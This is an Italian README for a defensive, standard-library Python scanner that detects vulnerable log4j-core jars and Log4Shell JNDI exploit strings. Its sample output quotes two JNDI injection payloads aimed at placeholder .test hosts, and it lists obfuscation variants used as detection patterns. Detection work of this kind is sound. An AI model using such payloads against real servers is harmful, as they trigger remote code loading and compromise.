
Scanner leggero che rileva versioni vulnerabili di Log4j e indicatori di Log4Shell (CVE-2021-44228) in un albero di file system.
Uno scanner difensivo senza dipendenze per Log4Shell — rileva jar log4j-core vulnerabili e pattern di exploit JNDI nei log e nella configurazione.
Durante la mia rotazione presso il CERT-In ho lavorato su identificazione delle minacce, contenimento, remediation e threat hunting — esattamente il flusso di lavoro che Log4Shell (CVE-2021-44228) richiedeva su larga scala nel dicembre 2021: trovare ogni artefatto log4j-core vulnerabile in una flotta e cercare nei log i tentativi di sfruttamento ${jndi:...}. Questo scanner ricostruisce quel flusso di lavoro difensivo in un singolo script Python portabile, basato sulla sola libreria standard, che non richiede alcuna installazione sul sistema che ispeziona.
.jar / .war / .ear.pom.properties e MANIFEST.MF dall'interno di ciascun archivio con zipfile, ricorrendo al nome del file come alternativa; distingue il vero log4j-core da jar non correlati.${jndi:ldap:// e comuni offuscamenti (${${lower:j}ndi:…}, brace-split j}ndi:, ${::-j}).JndiLookup.class, oltre a indicazioni sul monitoraggio del traffico in uscita (egress).log4j-core-2.14.1.jar vulnerabile (un vero zip contenente un pom.properties di log4j-core), un 2.17.1.jar corretto, un jar non correlato e un log con payload JNDI.--demo costruisce e scansiona l'albero di esempio end-to-end.os, re, zipfile). Nessuna dipendenza.Python 3 (solo libreria standard: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Esegui la demo sull'albero di esempio incluso:
python log4shell_scan.py --demo
Output atteso (abbreviato):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Scansiona qualsiasi directory che sei autorizzato a valutare:
python log4shell_scan.py /path/to/deployed/app
Il codice di uscita del processo è 1 quando viene trovato qualcosa di vulnerabile o sospetto, 0 quando è tutto pulito — comodo per il gating in CI/pipeline.
Ricostruisci l'albero di esempio in qualsiasi momento:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Solo per uso educativo, difensivo e autorizzato. Eseguilo soltanto su sistemi e artefatti che hai il permesso di valutare. Lo scanner si limita a leggere e a fare pattern matching — non esegue né sfrutta mai nulla. I jar di esempio inclusi sono segnaposto fittizi, non artefatti Apache autentici, e tutti gli hostname dei payload usano nomi .test non instradabili. Le associazioni versione-CVE sono fornite a scopo orientativo; verifica consultando le fonti ufficiali CVE e gli advisory sulla sicurezza di Apache Log4j.